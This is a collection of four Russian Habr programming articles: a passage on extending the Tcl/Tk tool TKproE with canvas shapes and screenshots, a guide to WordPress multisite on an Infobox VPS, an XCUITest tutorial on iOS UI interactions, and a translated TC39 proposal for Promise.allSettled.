**виджеты menubutton на простые виджеты label с использованием функции bind:**
```
…
#Проверяем платформу
global macos
set macos 0
switch [tk windowingsystem] {
classic - aqua {
#Платформа macOS
set macos 1
}
}
…
if {$macos } {
#Используется виджет label
label .tpmain.menubar.menubutton1 \
-activebackground {#dcdcdc} \
-background {blue4} \
-font {Helvetica 10} \
-foreground {white} \
-highlightbackground {#dcdcdc} \
-padx {5} \
-pady {0} \
-text {File} \
-underline {0}
bind .tpmain.menubar.menubutton1 {TP\_ShowContextMenuOSX %W }
bind .tpmain.menubar.menubutton1 {%W configure -background #dcdcdc -foreground black
}
bind .tpmain.menubar.menubutton1 {global TPpressLab
if { "%W" != "$TPpressLab" } {
%W configure -background blue4 -foreground white
} else {
%W configure -background red1 -foreground white
}
}
} else {
#Используется виджет menubutton
menubutton .tpmain.menubar.menubutton1 \
-activebackground {#dcdcdc} \
-background {blue4} \
-font {Helvetica 10} \
-foreground {white} \
-highlightbackground {#dcdcdc} \
-menu {.tpmain.menubar.menubutton1.m} \
-padx {5} \
-pady {0} \
-text {File} \
-underline {0}
}
…
```
Что получилось можно видеть на следующих скриншотах, где вверху скриншот оригинального кода, а ниже скриншот с измененным кодом:
Поскольку было решено подготовить отдельную публикацию по врапперам freewrap и tclexecomp, то перейдём непосредственно к функционалу TKproE. В данной статье будет рассмотрена работа с холстом (canvas), графическими объектами на нём (линии, прямоугольники, изображения и т.д.) и сделанными дополнениями:
Первое, что было сделано, это была добавлена возможность рисовать прямоугольники с загругленными (round) или срезанными вершинами (bavel):
```
#Расчёт координат для прямоугольника с закругленными углами
# roundRect --
# Draw a rounded rectangle in the canvas.
# Parameters:
# x0, y0 - Coordinates of the upper left corner, in pixels
# x3, y3 - Coordinates of the lower right corner, in pixels
# radius - Radius of the bend at the corners, in any form
# acceptable to Tk_GetPixels
# Results:
# Returns the coordinates for polygon.
# Side effects:
# Creates a rounded rectangle as a smooth polygon in the canvas.
#----------------------------------------------------------------------
proc TP_roundRect { x0 y0 x3 y3 radius} {
set r $radius
set d [expr { 2 * $r }]
# Make sure that the radius of the curve is less than 3/8
# size of the box!
set maxr 0.75
if { $d > $maxr * ( $x3 - $x0 ) } {
set d [expr { $maxr * ( $x3 - $x0 ) }]
}
if { $d > $maxr * ( $y3 - $y0 ) } {
set d [expr { $maxr * ( $y3 - $y0 ) }]
}
set x1 [expr { $x0 + $d }]
set x2 [expr { $x3 - $d }]
set y1 [expr { $y0 + $d }]
set y2 [expr { $y3 - $d }]
set cmd [list ]
lappend cmd $x0 $y0
lappend cmd $x1 $y0
lappend cmd $x2 $y0
lappend cmd $x3 $y0
lappend cmd $x3 $y1
lappend cmd $x3 $y2
lappend cmd $x3 $y3
lappend cmd $x2 $y3
lappend cmd $x1 $y3
lappend cmd $x0 $y3
lappend cmd $x0 $y2
lappend cmd $x0 $y1
# lappend cmd -smooth 1
return $cmd
}
#Расчёт координат для прямоугольника со скошенными углами
proc TP_bevelRect { x0 y0 x3 y3 radius} {
set r [expr {$radius * -1 }]
set d [expr { 2 * $r }]
if { $d > ( $x3 - $x0 ) } {
set d [expr { ( $x3 - $x0 ) / 2}]
}
if { $d > ( $y3 - $y0 ) } {
set d [expr { ( $y3 - $y0 )/2 }]
}
set d [expr {$d / 2 }]
set x1 [expr { $x0 + $d }]
set x2 [expr { $x3 - $d }]
set y1 [expr { $y0 + $d }]
set y2 [expr { $y3 - $d }]
set cmd [list ]
lappend cmd $x0 $y1
lappend cmd $x1 $y0
lappend cmd $x2 $y0
lappend cmd $x3 $y1
lappend cmd $x3 $y2
lappend cmd $x2 $y3
lappend cmd $x1 $y3
lappend cmd $x0 $y2
return $cmd
}
```
Конечно, их можно нарисовать и как полигон, но сколько надо будет написать цифр или выполнить подгонку фигуры вручную!
Очень хотелось иметь под рукой кнопку получения скриншотов! И я добавил эти функции:
Кнопка «Screenshot» делает скриншот выбранного виджета. В данном случае выбран виджет canvas и будет сделан скриншот всего canvas, сохраняя заливку canvas (атрибут –background). Если же мы выделим все или отдельные объекты canvas с помощью функции GrpMove или новой функции GrpResizeMove, а затем сохраним выделенную область с помощью одной из функций SaveGroupToFile или SaveGroupToImage, то в этом случае заливка canvas будет отсутствовать и в скриншот попадет только выделенная область с находящимися в ней объектами (процедура TP\_saveGroupToFileOrImage в файле tkproe\_extention.tcl).
Для получения скриншота виджета создаётся его изображение с использованием следующей функции:
```
$image create photo –format window –data <идентификатор окна>.
```
Функция «SaveGroupToFile», аналогично функции «Screenshot», сохраняет полученное изображение выделенной области в файле. Функция «SaveGroupToImage» позволяет сохранить изображение, как будет показано ниже, в проекте.
Когда началось тестирование новых функций ScreenShot, SaveGroupToFile, SaveGroupToImage, SaveOneToFile, SaveOneToImage на платформе macOS, то выяснилось, что на ней эти функции не работают:
```
«Window "имярек" cannot be transformed into a pixmap (possibly obscured?)»
```
При этом само окно canvas-а на экране отображается. Использование функций raise и update (есть такие советы в Интернете) тоже не дали положительного результата. Где-то на просторах Интернет я видел, что это может зависеть от версии операционной системы (как будет показано ниже, это ошибочный посыл), но в итоге для сохранения объектов canvas в виде изображений в различных форматах мне пришлось задействовать функцию postscript, а затем из полученного postscript-а создавать изображение:
```
image create photo –format ps –data [ postscript <х> ]
```
Кстати, этот код прекрасно работает на всех платформах. Но на платформе MacOS при использовании функции postscript должен быть установлен пакет ghostscript:
```
$brew install ghostscript
```
Однако функция postscript работает только с виджетом canvas и не даёт возможности сделать скриншоты средствами tcl/tk других виджетов.
Что я только не делал и не перепробовал!
Запускал на macOS wish и подгружал пакет Img 1.4.6, запускал tclexeccomp-1.2.0 и подгружал его пакет Img. Результат тот же. Я посмотрел, какая версия tcl/tk стоит на моём компьютере. Оказалась 8.6.9. Посмотрел в tclexecomp-1.2.0. Здесь версия оказалась 8.6.10. Результат тот же. Тогда я решил попробовать старую проверенную версию tclexecomp-1.0.4, её я использую уже несколько лет и она меня ни разу не подвела.
Не подвела она и сейчас:
Команда «image create photo –format window» успешно сработала!!!
Я успокоился и решил методично исследовать эту проблему.
Что я имел? Имел то, что при использовании версии tcl/tk 8.6.6 на macOS всё работает. А вот версии 8.6.9 и 8.6.10 отказываются выполнять эту команду.
Текущей версией tcl/tk на этот момент была версия 8.6.11. Я решил её собрать. Причём собрать как у себя на компьютере, так и на стороне. Для локальной сборки я использовал [проект BAWT](http://www.bawt.tcl3d.org/). Проект хорош ещё тем, что он включает в себя множество, помимо tcl/tk, других пакетов, в том числе и пакет Img.
Никаких проблем и заморочек при сборке проекта я не встретил.
Для сторонней сборки был выбран проект [KitCreatot](http://kitcreator.rkeene.org/fossil/index), в рамках которого можно легко и просто собрать tclkit для различных платформ удалённо в режиме online:
Надежды не оправдались, на версии tcl/tk 8.6.11 функция «image create photo –format window» на платформе macOS не работала. Наступило отчаяние: на версии 8.6.6 всё работает, а на более поздних версиях работать перестало. Лезть в исходный код самого интерпретатора tcl/tk как-то не хотелось. На всех других платформах, включая Android, всё работало без проблем. Вывело из состояния стагнации попавшаяся на глаза в ноябре 2021 года новость о выходе нового резиза [Tcl/Tk 8.6/12](https://www.opennet.ru/opennews/art.shtml?num=56114) с многообещающей фразой:
> В Tk продолжена работа по улучшению поддержки платформы macOS.
Я тут же решил проверить функциональность этого релиза. Скачал BAWT, который уже базировался на новой версии, и собрал его. Затем зашёл на сайт KitCreator-а и собрал tclkit на базе версии 8.6.12. И только после этого проверил их работоспособность:
Обе сборки оказались поддерживающими функцию
```
image create –format window –data
```
Всё встало на свои места и можно было двигаться дальше.
Возвращаемся к добавленным функциям для работы с объектами canvas. Вот эти функции (см. скриншот выше):
* GrpResizeMove;
* Reshape Polygon/Line;
* Save GroupToFile;
* SaveGroupToImage;
* SaveOneToImage;
* SaveOneToFile
Функция GrpRezizeMove, аналогично функции GrpMove, позволяет выделить в canvas область с объектами, переместить выделенную область на новое место и при необходимости изменить размеры:
Функция «Reshape polygon/line» позволяет манипулировать poligon-ами и линиями. Достаточно курсором мыши щелкнуть по одному их этих объектов, как появится реперные точки, потянув за которые можно изменить внешний вид:
Реперные точки можно и добавлять, и удалять. Для уничтожения реперной точки необходимо курсор мыши навести на точку, предназначенную для уничтожения, нажать клавишу Alt и щелкнуть левой кнопкой мыши. Для добавления точки также необходимо подвести курсор мыши к ближайшей реперной точке, около которой планируется добавить новую точку, нажать клавишу Ctrl и щёлкнуть по левой кнопке мыши.
Функции «SaveGroupToFile» и «SaveGroupToImage» позволяют сохранить выделенную область canvas как изображение в проекте (image create photo) или в файле. Для выделения области можно использовать уже знакомые функции «GrpMove» или «GrpResizeMove». Это удобно не только при подготовке иллюстраций, скажем, для документации, но и для формирования интерфейса проекта. Например, при разработки утилиты cryptoarmpkcs для работы с электронной подписью на платформе Android таким способом формировались информационные «облака»:
Сначала на canvas-е рисовался прямоугольник с круглыми вершинами, рядом рисовался «язычок» и писАлся текст. Затем, используя функцию «OneMove» (не возбраняется воспользоваться функцией GrpResizeMove или даже ObjMove), эти объекты сводятся в нужное изображение. Для выделения полученного изображения используем функцию GrpResizeMove. После выделения области нажимаем кнопку (вызываем функцию) SaveGroupToImage:
В появившемся окне «TKproE image management» можно установить те или иные параметры изображения и сохранить его. По умолчанию изображения сохраняются в png-формате (см. красный квадрат на скриншоте). Это позволяет использовать alpha-канал и создавать прозрачные изображения (параметр -alpha). После создания и сохранения нужного нам изображения все его составные части можно удалить из проекта и дальше работать только с самим изображением:
В нашем примере мы привязали к нажатию кнопки «Конец работы» вызов функции butImg, которая отображает наше информационное облачко и если по нему не было нажатия, то через 5 секунд убирает его с экрана.
Особо следует остановиться на функциях SaveOneToImage и SaveOneToFile. Эти функции позволяют сохранить в виде изображения один выбранный объект на холсте (на canvas-е) в файле или как объект image. Казалось бы что особенного, тем более что есть функции SaveGroupToFile и SaveGroupToImage. Но можно создать произвольный прозрачный (атрибут fil должен быть пустым) объект (прямоугольник, полигон, овал и т.д.) вокруг требуемого участка холста, при необходимости сделать окантовку этого объекта нулевой толщины и прозрачной (атрибут outline должен быть пустым) и, применив одну из вышеуказанных функций, получим изображение этого участка:
Если вы спросите, а зачем при нулевой толщине окантовки делать её прозрачной, то ответ будет таков: polygon не дает возможности сделать его окантовку нулевой толщины. Наверное, это баг.
Хотел добавить ещё функции, связанные с трансформацией изображений, но решил остановиться (пока).
С моей точки зрения, TKproE является отличным учебным пособием.
Основные дополнения собраны в файле tkproe\_extention.tcl.
Исходный код и дистрибутивы для платформ Linux, Windows и macOS можно получить [здесь](https://github.com/a513/TKproEplus/).
Доработанную утилиту tkproeplus для разных платформ можно скачать здесь:
* [OS X](https://github.com/a513/TKproEplus/raw/master/distr/tkproe_mac_104.tar.bz2)
* [Linux64](https://github.com/a513/TKproEplus/raw/master/distr/tkproe_linux64.tar.bz2)
* [Win64](https://github.com/a513/TKproEplus/raw/master/distr/tkproe_win64.exe.tar.bz2)
Знакомство с TKproE будет полезно и для тех, кто программирует на Python с использованием Tkinter.
### P.S.
Все иллюстрации были подготовлены средствами TKproEplus. | https://habr.com/ru/post/653129/ | null | ru | null |
# Активация поддержки многосайтовости в инсталляции Wordpress на VPS от Infobox за 5 минут
В этой статье мы рассмотрим, как быстро запустить несколько сайтов на [VPS](http://infobox.ru/vps/linux/) и [облачной VPS](http://infobox.ru/vps/cloud/) от Infobox. С тех пор, как появился проект [Wordpress MU](https://mu.wordpress.org) и позже стал частью Wordpress – этот процесс упростился. Mы уже добавили шаблон с установкой Wordpress за 1 клик (с FTP, базой данных и phpmyadmin) во все локации VPS и облака. Пользователю остается только настроить Wordpress для поддержки запуска нескольких сайтов при необходимости. В статье также показан интерфейс управления облачными VPS.
#### **Настройка поддержки нескольких сайтов в Wordpress на одном сервере**
На чистом сервере процесс настройки многосайтовости занимает гораздо больше времени, чем в этом пункте, но мы уже добавили значительную часть конфигурации в шаблон с Wordpress, поэтому настройки займут всего 5 минут. После заказа VPS Ubuntu с Wordpress или создания сервера в облаке из такого шаблона залогиньтесь в сервер по SSH, используя данные для доступа из электронной почты. Вы увидите приветствие от Infobox и данные для доступа по FTP и данные доступа к MySQL.
Данные для доступа уникальны и генерируются в момент создания сервера.
Откройте веб-интерфейс установщика Wordpress, перейдя по ip–адресу сервера из письма или из панели управления.
В процессе установки Wordpress будут запрошены данные доступа к серверу. Все настройки можно оставить по умолчанию, но необходимо указать логин и пароль от базы данных, которые были выведены в приветственном сообщении сервера (если вы изменили их, то указать нужно измененные).
Дойдите до этапа установки WordPress. Остановитесь тут. Сначала нам нужно включить многосайтовость.
Вернемся в нашу ssh–сессию к серверу. Отредактируйте **/var/www/html/wp-config.php** и добавьте строчку выше фразы "/\* That's all, stop editing! Happy blogging. \*/":
```
/* Multisite */
define('WP_ALLOW_MULTISITE', true);
```
Откройте снова сайт по ip–адресу в браузере, задайте настройки для первого сайта и установите Wordpress.
Залогиньтесь. Перейдите в раздел «Инструменты» -> «Установка сети».
Wordpress сообщит, что нужно добавить в **.htaccess** и **wp-config.php**. Сделайте это (в .htaccess замените содержимое секции ). Обратите внимание, что если у сервера изменится ip–адрес, нужно будет прописать новый в wp-config.php. **Очень важно, прописывая настройки в wp–config.php прописать их выше фразы "/\* That's all, stop editing! Happy blogging. \*/"**.
Выйдите и войдите в Wordpress снова.
Теперь поддержка создания множества сайтов на Wordpress активирована.
Чтобы иметь возможность привязывать различные домены к многосайтовой конфигурации, установите плагин [WordPress MU Domain Mapping](https://wordpress.org/plugins/wordpress-mu-domain-mapping/). Скопируйте и включите sunrise.php:
`cp /var/www/html/wp-content/plugins/wordpress-mu-domain-mapping/sunrise.php /var/www/html/wp-content/sunrise.php`(копировать файл нужно при каждом обновлении плагина).
Отредактируйте **/var/www/html/wp-config.php** и добавьте строчку выше фразы "/\* That's all, stop editing! Happy blogging. \*/":
```
define( 'SUNRISE', 'on' );
```
Теперь выйдите и войдите в панель управления Wordpress снова.
Перейдите в раздел «Настройки» -> Domain mapping и пропишите ip сервера.
Теперь перейдите в «Настройки» -> Domains.
Тут можно добавлять произвольные домены на различные сайты. Чтобы узнать ID сайта, перейдите в раздел «Сайты» -> «Все сайты» и нажмите у добавляемого сайта «Редактировать».
В адресной строке браузера вы увидите ID сайта.
Вернитесь в раздел «Настройки» ->Domains и пропишите связь ID и домена. Установите сайт как primary, чтобы в адресной строке при заходе на сайт отображался выбранный домен. Также не забудьте направить A запись DNS домена на ip–адрес сервера.
Теперь при заходе на домен открывается требуемый сайт.
#### **Создание шаблона облачной VPS с Wordpress и поддержкой нескольких сайтов**
Рекомендуем вам создать собственный шаблон, чтобы в будущем устанавливать поддержку нескольких сайтов на Wordpress за 1 клик, изменяя только ip–адрес в wp-config. Для этого перейдите в настройки созданного сервера в панели управления Infobox, как было показано в начале статьи. Нажмите «Создать образ».
Дайте образу имя и нажмите «Создать». Теперь при необходимости развертывания новых серверов с поддержкой размещения нескольких сайтов на Wordpress вам не понадобится делать все настройки из этой статьи. Вы можете просто в панели управления Infobox перейти в раздел «Образы серверов» и создать сервер из подготовленного образа.
#### **Тестирование VPS бесплатно**
Для того, чтобы вы могли попробовать включить многосайтовость в Wordpress, мы активировали [бесплатную пробную версию](http://infobox.ru/vps/linux/) наших VPS и по просьбам пользователей написали промо-код для регистрации прямо на странице услуги.
Если вы не можете оставлять комментарии на хабре, можно написать их в [Сообществе InfoboxCloud](https://infoboxcloud.ru/community).
Если вы нашли ошибку или опечатку в статье, автор с удовольствием ее исправит. Для этого пожалуйста напишите в ЛС.
Успешного использования [облачных VPS](http://infobox.ru/vps/cloud/) от Infobox. | https://habr.com/ru/post/240161/ | null | ru | null |
# Погружение в автотестирование на iOS. Часть 2. Как взаимодействовать с ui-элементами iOS приложения в тестах
Привет, Хабр! В [прошлой статье](https://habr.com/ru/company/vivid_money/blog/533180/) мы разобрались:
* Что такое ui-тесты и для чего они нужны;
* Как настроить окружение для тестов;
* Как находить ui-элементы в проекте и проставлять им accessibilityidentifier.
В этой статье мы разберем:
1. Как обращаться и инициализировать ui-элементы в ваших тестах;
2. Как взаимодействовать с ui-элементами приложения;
3. Как писать ассерты для проверки в автотесте ожидаемого результата.
Как обращаться и инициализировать ui-элементы
---------------------------------------------
При наличии айдишника у ui-элемента, достаточно указать его при обращении.
```
XCUIApplication().buttons["Help"]
```
Если же у вас нет id у элемента, есть способ найти его при помощи XCUIElementQuery. Этот класс позволяет искать элемент несколькими способами.
```
// Находит все кнопки внутри scroll view (отобразит кнопки только прямого потомка scroll view)
XCUIApplication().scrollViews["Main"].children(matching: .button)
// Находит все кнопки внутри scroll view (отобразит кнопки прямого потомка scroll view, но также и его потомков)
XCUIApplication().scrollViews["Main"].descendants(matching: .button)
// Находит четвертую кнопку на экране
XCUIApplication().buttons.element(boundBy: 3)
// Находит в scroll view ui-элемент содержащий label = identifier
XCUIApplication().scrollViews["Main"].containing(NSPredicate(format: "label == %@","identifier").element
// Находит первую кнопку на экране
XCUIApplication().buttons.firstMatch
```
Немного про NSPredicate — это класс, который позволяет фильтровать объекты по нужному вам условию. [Статья с хорошим объяснением как использовать NSPredicate](https://www.hackingwithswift.com/read/38/7/examples-of-using-nspredicate-to-filter-nsfetchrequest).
Пример иницилизации переменной:
```
let moneyTitle: XCUIElement = XCUIApplication().staticTexts["accessibilityID"]
```
Взаимодействия с ui-элементами приложения
-----------------------------------------
### Нажатие и удержание
Вы можете в своих тестах совершать: нажатие, удержание и drag&drop ui-элементов.
Перечень методов можно посмотреть [здесь](https://developer.apple.com/documentation/xctest/xcuielement), раздел — Tapping and Pressing.
```
// Совершаем нажатие на ui-элемент
XCUIApplication().buttons.element.tap()
// Cовершаем двойное нажатие на ui-элемент
XCUIApplication().buttons.element.doubleTap()
// Удерживаем нажатие в течение времени, которое передали в forDuration
XCUIApplication().buttons.element.press(forDuration: 3)
// Совершаем нажатие на ui-элемент и затем перетаскиваем его к другому ui-элементу
XCUIApplication().buttons.element.press(forDuration: 3, thenDragTo: XCUIApplication().searchFields.element)
```
### Ввод текста
Вы можете вводить текст по букве обращаясь к системной клавиатуре:
```
XCUIApplication().textFields.element.tap()
XCUIApplication().keys["h"].tap()
XCUIApplication().keys["e"].tap()
XCUIApplication().keys["l"].tap()
XCUIApplication().keys["p"].tap()
```
Либо вводить целую строку:
```
XCUIApplication().textFields.element.typeText("help")
```
[Информация по методу typeText](https://developer.apple.com/documentation/xctest/xcuielement/1500968-typetext)
### Множественные нажатия
Вы можете совершать множественные нажатия в своих тестах.
```
// Совершаем нажатие двумя пальцами на ui-элемент
XCUIApplication().buttons.element.twoFingerTap()
/*
Совершаем нажатие на элемент столько раз сколько передали
в withNumberOfTaps и столькими "пальцами" сколько передали
в numberOfTouches
*/
XCUIApplication().buttons.element.tap(withNumberOfTaps: 1, numberOfTouches: 1)
```
Перечень методов можно посмотреть [здесь](https://developer.apple.com/documentation/xctest/xcuielement), раздел — Multiple Taps.
### Жесты
Вы можете совершать разные жесты в своих тестах.
```
// Совершаем свайп в указанном направлении
swipeLeft()
swipeRight()
swipeUp()
swipeDown()
// Совершаем свайп в указанном направлении с заданной скоростью
swipeLeft(velocity: 0.5)
swipeRight(velocity: 0.5)
swipeUp(velocity: 0.5)
swipeDown(velocity: 0.5)
// Совершаем приближения ui-элемента (withScale указываем больше 1)
XCUIApplication().images.element(boundBy: 0).pinch(withScale: 2, velocity: 1)
// Совершаем отдаления ui-элемента (withScale указываем от 0 до 1)
XCUIApplication().images.element(boundBy: 0).pinch(withScale: 0.5, velocity: 1)
// Совершаем вращение ui-элемента
XCUIApplication().images.element(boundBy: 0).rotate(0.5, withVelocity: 0.5)
```
Перечень методов можно посмотреть [здесь](https://developer.apple.com/documentation/xctest/xcuielement), раздел — Performing Gestures.
### Взаимодействие с UISlider
UISlider — это элемент управления для выбора одного значения из диапазона значений.
Когда мы хотим изменить положение ползунка в слайдере, мы не передаем значение, которое хотим установить. Вместо этого мы выбираем число в диапазоне от 0 до 1. Где 0 — это минимальное значение в слайдере, а 1 — максимальное. Представим, что у нас есть слайдер с максимальным значением 100 и нам нужно сдвинуть ползунок на значение 25. Это будет выглядеть так:
```
XCUIApplication().sliders.element.adjust(toNormalizedSliderPosition: 0.25)
```
### Взаимодействие с UIPickerView и UIDatePicker
UIPickerView и UIDatePicker — это ui-элементы, которые используют "колесики" для выбора необходимых значений.
XCUIElement имеет специальный метод для взаимодействия с UIPickerView и UIDatePicker:
* Для пикеров с одним колесом, мы можем получить доступ через element(), и указать значение, которое хотим выбрать;
* Для пикеров с несколькими колесами, мы можем обратиться к нужному колесу по индексу и указать значение, которое хотим выбрать.
```
// Пикер с одним колесом
XCUIApplication().pickerWheels.element.adjust(toPickerWheelValue: "BMW")
// Пикер с несколькими колесами
XCUIApplication().pickerWheels.elementBoundByIndex(0).adjust(toPickerWheelValue: "BMW")
XCUIApplication().pickerWheels.elementBoundByIndex(1).adjust(toPickerWheelValue: "X6")
```
### Взаимодействие с системным алертом
Системный алерт — это объект, отображающий предупреждающее сообщение для пользователя.
Чтобы взаимодействовать с ним, вам понадобится использовать метод addUIInterruptionMonitor(withDescription:handler:)
Где вы передаете:
* withDescription — заголовок алерта;
* handler - действие, которое хотите совершить.
Пример использования в тестах:
```
addUIInterruptionMonitor(withDescription: "Current Location Not Available") { alert in
alert.buttons["OK"].tap()
return true
}
```
### Взаимодействие с Navigation Bar
Navigation bar — это панель навигации, отображается в верхней части экрана приложения под status bar и позволяет перемещаться по приложению.
Представим, что у нас есть две кнопки и текст по середине в Navigation Bar.
Вот пример того как можно их иницилизировать и в дальнейшем с ними взаимодействовать:
```
// Иницилизируем крайнюю левую кнопку в Navigation bar
let leftNavBarButton = XCUIApplication().navigationBars.children(matching: .button).firstMatch
// Иницилизируем тест посередине в Navigation bar
let topicNavBar = XCUIApplication().navigationBars.children(matching: .staticTexts).firstMatch
// Иницилизируем крайнюю правую кнопку в Navigation bar
let rightNavBarButton = XCUIApplication().navigationBars.children(matching: .button).element(boundBy: 1)
// Нажимаем на кнопки в Navigation bar
leftNavBarButton.tap()
rightNavBarButton.tap()
// Проверяем заголовок в Navigation bar
XCTAssertEqual(topicNavBar.title, "Topic")
```
### Взаимодействие с Tab bar
Tab bar — это панель вкладок, отображается в нижней части экрана приложения. Она даёт возможность быстро переключаться между различными разделами приложения.
Для переключения между вкладками достаточно тапать на индекс элемента в Tab bar.
```
// Открываем первую вкладку
XCUIApplication().tabBars.buttons.element(boundBy: 0)
// Открываем третью вкладку
XCUIApplication().tabBars.buttons.element(boundBy: 2)
```
Создание ассертов:
------------------
Ассерты — это проверки необходимого условия.
Рассмотрим несколько вариантов их использования:
```
// Ассерт, что кнопка отображается на экране
XCTAssertTrue(XCUIApplication().buttons["Warning"].exists)
// Ассерт, что кнопка не выделена
XCTAssertFalse(XCUIApplication().buttons["Warning"].isSelected)
// Ассерт, что title кнопки равен - Buy
XCTAssertEqual(XCUIApplication().buttons.element.title, "Buy")
// Ассерт, что placeholder в textFields не равен - placeHolder
XCTAssertNotEqual(XCUIApplication().textFields.element.placeholderValue, "placeHolder")
// Ассерт, что value в textFields равно - value
XCTAssertEqual(XCUIApplication().textFields.element.value, "value")
```
Полный перечень возможных ассертов можно посмотреть [здесь](https://developer.apple.com/documentation/xctest), раздел Test Assertions
Перечень возможных атрибутов ui-элементов можно посмотреть [здесь](https://developer.apple.com/documentation/xctest/xcuielementattributes)
Заключение:
-----------
Взаимодействовать с ui-элементами во время теста не так сложно, как кажется на первый взгляд. Воспользовавшись примерами выше, можно быстро добавить необходимые методы в свой проект с ui-тестами.
В следующей статье мы расскажем про жизненый цикл тестового приложения:
* Как делать предусловия и послеусловия;
* Как сбрасывать статус пермишенов приложения перед запуском тестов (доступ к галерее, фото и так далее);
* Как запускать приложения по bundle identifier (например запуск сафари, документов и так далее);
* И многое другое.
Навигация по статьям:
---------------------
* [Погружение в автотестирование на iOS. Часть 1. Как работать с accessibilityidentifier объектов](https://habr.com/ru/company/vivid_money/blog/533180/)
* [Погружение в автотестирование на iOS. Часть 3. Жизненый цикл ios приложения во время прогона тестов](https://habr.com/ru/company/vivid_money/blog/544254/)
* [Погружение в автотестирование на iOS. Часть 4. Ожидания в XCUITest](https://habr.com/ru/company/vivid_money/blog/547422/)
---
Интересуешься автоматизацией на iOS? Подписывайся на мой [телеграмм-канал](https://t.me/ios_automation_testing), в котором я публикую материалы, которые будут полезны как начинающим, так и опытным iOS-автоматизаторам. | https://habr.com/ru/post/538708/ | null | ru | null |
# Promise.allSettled
На 71-м митинге Ecma TC39 будет рассматриваться проект и эталонная реализация `Promise.allSettled` — третьего из четырех основных комбинаторов промисов.
**Авторы**: Джейсон Вильямс (BBC), Роберт Памли (Bloomberg), Матиас Байненс (Google)
**Чемпион**: Матиас Байненс (Google)
**Этап**: 3
Для любителей подкастов, продублировано [на YouTube](https://www.youtube.com/watch?v=jy5JhorT79k).
Введение и мотивация
====================
В мире промисов существует четыре основных комбинатора:
* `Promise.all`. ES2015. Замыкается на первом отклоненном/rejected промисе.
* `Promise.race`. ES2015. Замыкается на первом хоть как-то разрешенном/settled промисе.
* `Promise.any`. Stage 1. Замыкается на первом удовлетворенном/fulfilled промисе.
* `Promise.allSettled`. Stage 3 → Stage 4. Не замыкается.
Все они широко представлены в обычных пользовательских библиотеках, каждый из них полезен сам по себе и подходит в различных ситуациях.
Основное применение *этого* комбинатора наступает, когда хочется выполнить действие сразу после завершения множества запросов, вне зависимости, закончились ли они успехом или неудачей. Остальные комбинаторы промисов замыкаются (*short-circuit*), выбрасывая результаты входящих значений, проигравших в гонке за определённым состоянием системы. `Promise.allSettled` уникален тем, что всегда ожидает всех, за кого отвечает.
`Promise.allSettled` возвращает промис, который выполняется с возвращением массива снапшотов состояний промисов, но лишь только после того, как совершенно все исходные промисы разрешены (settled).
Откуда взялось название allSettled?
===================================
Мы говорим, что промис разрешен (*settled*), если он не подвис в ожидании (*pending*), т.е. когда он либо удовлетворён, либо отклонён — одно из двух. Чтобы разобраться в терминологии, взгляните на старый документ [States and Fates](https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md).
А ещё, это имя, `allSettled`, широко используется в существующих библиотеках, реализующих данную функциональность. Список будет ниже.
Примеры
=======
Представьте, вам нужно проитерироваться по массиву промисов и вернуть новое значение с известным статусом (которое возникает в любом из двух возможных ответвлений логики).
```
function reflect(promise) {
return promise.then(
(v) => {
return { status: 'fulfilled', value: v };
},
(error) => {
return { status: 'rejected', reason: error };
}
);
}
const promises = [ fetch('index.html'), fetch('https://does-not-exist/') ];
const results = await Promise.all(promises.map(reflect));
const successfulPromises = results.filter(p => p.status === 'fulfilled');
```
Предлагаемое API позволяет разработчику обработать эти варианты, без необходимости создавать функцию `reflect` самостоятельно, или заниматься хранением результатов во временных переменных. Новое API выглядит так:
```
const promises = [ fetch('index.html'), fetch('https://does-not-exist/') ];
const results = await Promise.allSettled(promises);
const successfulPromises = results.filter(p => p.status === 'fulfilled');
```
Если же нам почему-то нужны отклонённые промисы, то вероятно, нужно собрать причины произошедшего. `allSettled` позволяет сделать это так же просто.
```
const promises = [ fetch('index.html'), fetch('https://does-not-exist/') ];
const results = await Promise.allSettled(promises);
const errors = results
.filter(p => p.status === 'rejected')
.map(p => p.reason);
```
Реальные примеры
================
Довольно распространённым является желание знать, что все запросы выполнились, вне зависимости от состояния каждого из них. Это важно, когда хочется в будущем заняться постепенным улучшением. Не всегда нам нужно получить от API ответ.
```
const urls = [ /* ... */ ];
const requests = urls.map(x => fetch(x)); // Представьте, что-то из этого увенчается успехом, а что-то - нет.
// Вот этот комбинатор остановится на первом же отказе, а ответы потеряются.
try {
await Promise.all(requests);
console.log('Все запросы вернулись, можно убрать полоску загрузки.');
} catch {
console.log('Какой-то из запросов явно отвалился, но другие могут продолжать работать. Ой.');
}
```
С использованием `Promise.allSettled` можно написать нечто, что больше соответствует нашим ожиданиям.
```
// Мы точно знаем, что все запросы к API уже отработали.
Promise.allSettled(requests).finally(() => {
console.log('Все запросы завершены: успешно или с ошибкой, сейчас всё равно');
removeLoadingIndicator();
});
```
Пользовательские реализации
===========================
* <https://www.npmjs.com/package/promise.allsettled>
* <https://www.npmjs.com/package/q>
* <https://www.npmjs.com/package/rsvp>
* <http://bluebirdjs.com/docs/api/reflect.html>
* <https://www.npmjs.com/package/promise-settle>
* <https://github.com/cujojs/when/blob/master/docs/api.md#whensettle>
* <https://www.npmjs.com/package/es2015-promise.allsettled>
* <https://www.npmjs.com/package/promise-all-settled>
* <https://www.npmjs.com/package/maybe>
В других языках
===============
Похожая функциональность существует и в других языках, под другими именами. Поскольку не существует универсального механизма, совместимого сразу со множеством языков, этот документ следует прмеру наименований из библиотек, перечисленных выше. Вот как это выглядит в других языках:
* Rust — `futures::join`;
* C# — `Task.WhenAll`. Можно использовать либо try/catch, либо `TaskContinuationOptions.OnlyOnFaulted`;
* Python — `asyncio.wait` с опцией `ALL_COMPLETED`
* Java — `CompletableFuture.allOf`
Материалы для дальнейшего изучения
==================================
* <https://www.bennadel.com/blog/3289-implementing-q-s-allsettled-promise-method-in-bluebird.htm>
* <https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md>
* <http://exploringjs.com/es6/ch_promises.html>
* <https://github.com/kriskowal/q/issues/257>
Минутки со встреч TC39
======================
* [September 2018](https://tc39.github.io/tc39-notes/2018-09_sept-27.html#promiseallsettled-for-stage-1)
* [January 2019](https://tc39.github.io/tc39-notes/2019-01_jan-30.html#promiseallsettled)
* [March 2019](https://github.com/rwaldron/tc39-notes/blob/master/meetings/2019-03/mar-26.md#promiseallsettled-for-stage-3)
* July 2019 — скоро будет
Спецификация
============
* [Исходник на Ecmarkup](https://github.com/tc39/proposal-promise-allSettled/blob/master/spec.html)
